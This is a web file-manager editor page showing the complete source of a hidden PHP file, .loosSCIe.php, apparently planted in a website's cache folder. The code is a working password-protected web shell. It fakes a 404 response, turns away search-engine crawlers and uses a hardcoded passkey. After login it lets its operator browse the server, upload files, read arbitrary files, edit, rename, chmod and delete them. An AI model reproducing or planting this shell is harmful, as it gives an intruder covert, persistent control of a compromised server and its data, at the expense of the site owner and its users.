✏️ 正在编辑: .loosSCIe.php
路径:
/home/bpioifn/www/pigmentse/cache/.loosSCIe.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php @session_start(); @set_time_limit(0); error_reporting(0); http_response_code(404); // Block search engine crawlers if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } // New password $p_a_s_s_k_e_y = "UDJAHFOjjj123"; if (isset($_POST['k']) && $_POST['k'] === $p_a_s_s_k_e_y) { $_SESSION['a_u_t_h'] = 1; } if (isset($_GET['x'])) { session_destroy(); header('Location: ?'); exit; } // Login page if (empty($_SESSION['a_u_t_h'])) { echo '<!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> * { margin:0; padding:0; box-sizing:border-box; } body { background:#0a0e17; display:flex; justify-content:center; align-items:center; height:100vh; font-family:"Segoe UI",system-ui,sans-serif; color:#c0d0e0; } .login-box { background:#141e2b; padding:40px 50px; border-radius:12px; box-shadow:0 0 30px rgba(0,150,255,0.15); border:1px solid #2a3f5a; text-align:center; width:340px; } .login-box h1 { font-size:22px; font-weight:300; letter-spacing:4px; margin-bottom:30px; color:#7ab7ff; text-shadow:0 0 10px rgba(0,150,255,0.3); } .login-box input[type="password"] { width:100%; padding:12px 16px; background:#0b121c; border:1px solid #2a4a6a; border-radius:6px; color:#e0f0ff; font-size:16px; outline:none; transition:0.3s; } .login-box input[type="password"]:focus { border-color:#3a8aff; box-shadow:0 0 12px rgba(58,138,255,0.3); } .login-box input[type="submit"] { width:100%; padding:12px; margin-top:20px; background:#1a3a6a; border:none; border-radius:6px; color:#fff; font-size:16px; font-weight:600; cursor:pointer; transition:0.3s; letter-spacing:2px; } .login-box input[type="submit"]:hover { background:#2a5a9a; box-shadow:0 0 20px rgba(58,138,255,0.4); } .login-box .hint { margin-top:20px; font-size:12px; color:#4a6a8a; } </style> </head> <body> <div class="login-box"> <h1></h1> <form method="POST"> <input type="password" name="k" placeholder="Enter" autofocus> <input type="submit" value="ACCESS"> </form> </div> </body> </html>'; exit; } // Main interface after authentication if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } // Custom dark theme (no external dependencies) echo '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <style> * { margin:0; padding:0; box-sizing:border-box; } body { background:#0a0e17; color:#b0c8e0; font-family:"Segoe UI",system-ui,sans-serif; padding:20px; min-height:100vh; } a { color:#5a9aff; text-decoration:none; } a:hover { color:#7ab7ff; text-shadow:0 0 8px rgba(90,154,255,0.4); } .header { display:flex; justify-content:space-between; align-items:center; border-bottom:1px solid #1a2a3a; padding-bottom:10px; margin-bottom:20px; flex-wrap:wrap; } .header h1 { font-weight:300; font-size:24px; letter-spacing:3px; color:#7ab7ff; text-shadow:0 0 20px rgba(0,150,255,0.2); } .header .info { font-size:13px; color:#5a7a9a; } .header .info span { color:#8ab8e8; } table { width:100%; border-collapse:collapse; margin-top:10px; font-size:14px; } th { text-align:center; background:#0f1a26; color:#6a9ad0; padding:8px 4px; border-bottom:1px solid #1a2a3a; font-weight:400; letter-spacing:1px; } td { padding:6px 4px; border-bottom:1px solid #0f1a26; vertical-align:middle; } .td_home { color:#b0c8e0; } .td_home a { color:#7ab7ff; font-weight:400; } .td_home a:hover { color:#aad0ff; } select, input[type="submit"], input[type="file"], input[type="text"], input[type="password"], textarea { background:#0b121c; border:1px solid #1a2a3a; color:#b0c8e0; padding:4px 8px; border-radius:4px; font-size:13px; outline:none; transition:0.2s; } select:focus, input:focus, textarea:focus { border-color:#3a7aff; box-shadow:0 0 8px rgba(58,122,255,0.2); } select { background:#0b121c; color:#b0c8e0; } input[type="submit"] { background:#1a3a5a; border:none; color:#fff; cursor:pointer; padding:6px 16px; border-radius:4px; transition:0.2s; } input[type="submit"]:hover { background:#2a5a8a; box-shadow:0 0 12px rgba(58,122,255,0.3); } input[type="file"] { background:transparent; border:1px dashed #2a4a6a; color:#8ab8e8; } .breadcrumb { margin:10px 0; color:#5a7a9a; font-size:14px; word-break:break-all; } .breadcrumb a { color:#7ab7ff; } .upload-form { background:#0f1a26; padding:12px 16px; border-radius:8px; margin:12px 0; border:1px solid #1a2a3a; display:flex; flex-wrap:wrap; align-items:center; gap:10px; } .upload-form input[type="file"] { flex:1; min-width:150px; } .center { text-align:center; } .msg-success { color:#5ad68a; margin:6px 0; } .msg-error { color:#e06060; margin:6px 0; } .perms { font-family:monospace; font-size:13px; } .perms-ok { color:#5ad68a; } .perms-no { color:#e06060; } @media (max-width:600px) { table { font-size:12px; } .header h1 { font-size:18px; } .upload-form { flex-direction:column; align-items:stretch; } } </style> </head> <body> <div class="header"> <h1></h1> <div class="info"> <span>IP</span> '.$_SERVER['REMOTE_ADDR'].' | <span>HOST</span> '.gethostbyname($_SERVER['HTTP_HOST']).' | <span>OS</span> '.php_uname('s').' '.php_uname('r').' </div> </div>'; // Path navigation if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); echo '<div class="breadcrumb">'; foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ echo '<a href="?path=/">/</a>'; continue; } if($pat == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } echo '</div>'; // Upload form echo '<div class="upload-form"> <form enctype="multipart/form-data" method="POST" style="display:flex;flex-wrap:wrap;align-items:center;gap:8px;width:100%;"> <span style="color:#5a7a9a;">UPLOAD</span> <input type="file" name="file" required/> <input type="submit" value="UPLOAD" style="padding:6px 20px;"/> </form>'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name'])){ echo '<div class="msg-success">UPLOAD SUCCESS</div>'; }else{ echo '<div class="msg-error">UPLOAD FAILED</div>'; } } echo '</div>'; // Display file content (if filesrc is set) if(isset($_GET['filesrc'])){ echo '<div style="margin-top:10px;"><strong>FILE: '.$_GET['filesrc'].'</strong></div>'; echo '<textarea style="width:100%;height:600px;background:#0b121c;border:1px solid #1a2a3a;color:#b0c8e0;padding:8px;font-size:12px;font-family:monospace;" readonly>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>'; }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ // ---- Handle chmod, rename, edit operations ---- echo '<div class="center" style="margin-top:10px;">'.$_POST['path'].'</div>'; // Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'], octdec($_POST['perm']))){ echo '<div class="msg-success">CHANGE PERMISSION SUCCESS</div>'; }else{ echo '<div class="msg-error">CHANGE PERMISSION FAILED</div>'; } } echo '<form method="POST"> Permission: <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px;"/> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="Apply"> </form>'; } // Rename directory (unused in original, but keep for compatibility) elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST"> New Name: <input name="name" type="text" size="25" value="Folder" style="width:300px;"/> <input type="hidden" name="path" value="'.$cwd.'"> <input type="hidden" name="opt" value="delete"> <input type="submit" value="Go"> </form>'; } // Rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'], dirname($_POST['path']).'/'.$_POST['newname'])){ echo '<div class="msg-success">CHANGE NAME SUCCESS</div>'; }else{ echo '<div class="msg-error">CHANGE NAME FAILED</div>'; } $_POST['name'] = $_POST['newname']; } echo '<form method="POST"> New Name: <input name="newname" type="text" size="5" style="width:20%;" value="'.$_POST['name'].'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Apply"> </form>'; } // Edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'], 'w'); if(fwrite($fp, $_POST['src'])){ echo '<div class="msg-success">EDIT FILE SUCCESS</div>'; }else{ echo '<div class="msg-error">EDIT FILE FAILED</div>'; } fclose($fp); } echo '<form method="POST"> <textarea cols="80" rows="20" name="src" style="width:100%;height:600px;background:#0b121c;border:1px solid #1a2a3a;color:#b0c8e0;padding:8px;font-size:12px;font-family:monospace;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Save"> </form>'; } echo '</div>'; }else{ // ---- Handle delete operations and display file list ---- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<div class="msg-success">DELETE DIR SUCCESS</div>'; }else{ echo '<div class="msg-error">DELETE DIR FAILED</div>'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<div class="msg-success">DELETE FILE SUCCESS</div>'; }else{ echo '<div class="msg-error">DELETE FILE FAILED</div>'; } } } // File list echo '<table>'; echo '<tr><th>Name</th><th>Size</th><th>Perm</th><th>Options</th></tr>'; $scandir = scandir($path); foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo '<tr>'; echo '<td class="td_home">📁 <a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>'; echo '<td class="td_home center">DIR</td>'; echo '<td class="td_home center">'; if(is_writable("$path/$dir")) echo '<span class="perms-ok">'; elseif(!is_readable("$path/$dir")) echo '<span class="perms-no">'; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</span>'; echo '</td>'; echo '<td class="td_home center">'; echo '<form method="POST" action="?option&path='.$path.'" style="display:inline;">'; echo '<select name="opt">'; echo '<option value="Action">Action</option>'; echo '<option value="delete">Delete</option>'; echo '<option value="chmod">Chmod</option>'; echo '<option value="rename">Rename</option>'; echo '</select>'; echo '<input type="hidden" name="type" value="dir">'; echo '<input type="hidden" name="name" value="'.$dir.'">'; echo '<input type="hidden" name="path" value="'.$path.'/'.$dir.'">'; echo '<input type="submit" value="Go">'; echo '</form>'; echo '</td></tr>'; } foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo '<tr>'; echo '<td class="td_home">📄 <a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>'; echo '<td class="td_home center">'.$size.'</td>'; echo '<td class="td_home center">'; if(is_writable("$path/$file")) echo '<span class="perms-ok">'; elseif(!is_readable("$path/$file")) echo '<span class="perms-no">'; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</span>'; echo '</td>'; echo '<td class="td_home center">'; echo '<form method="POST" action="?option&path='.$path.'" style="display:inline;">'; echo '<select name="opt">'; echo '<option value="Action">Action</option>'; echo '<option value="delete">Delete</option>'; echo '<option value="edit">Edit</option>'; echo '<option value="rename">Rename</option>'; echo '<option value="chmod">Chmod</option>'; echo '</select>'; echo '<input type="hidden" name="type" value="file">'; echo '<input type="hidden" name="name" value="'.$file.'">'; echo '<input type="hidden" name="path" value="'.$path.'/'.$file.'">'; echo '<input type="submit" value="Go">'; echo '</form>'; echo '</td></tr>'; } echo '</table>'; } // Permission display function function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> </body> </html>
💾 保存文件
← 返回文件管理器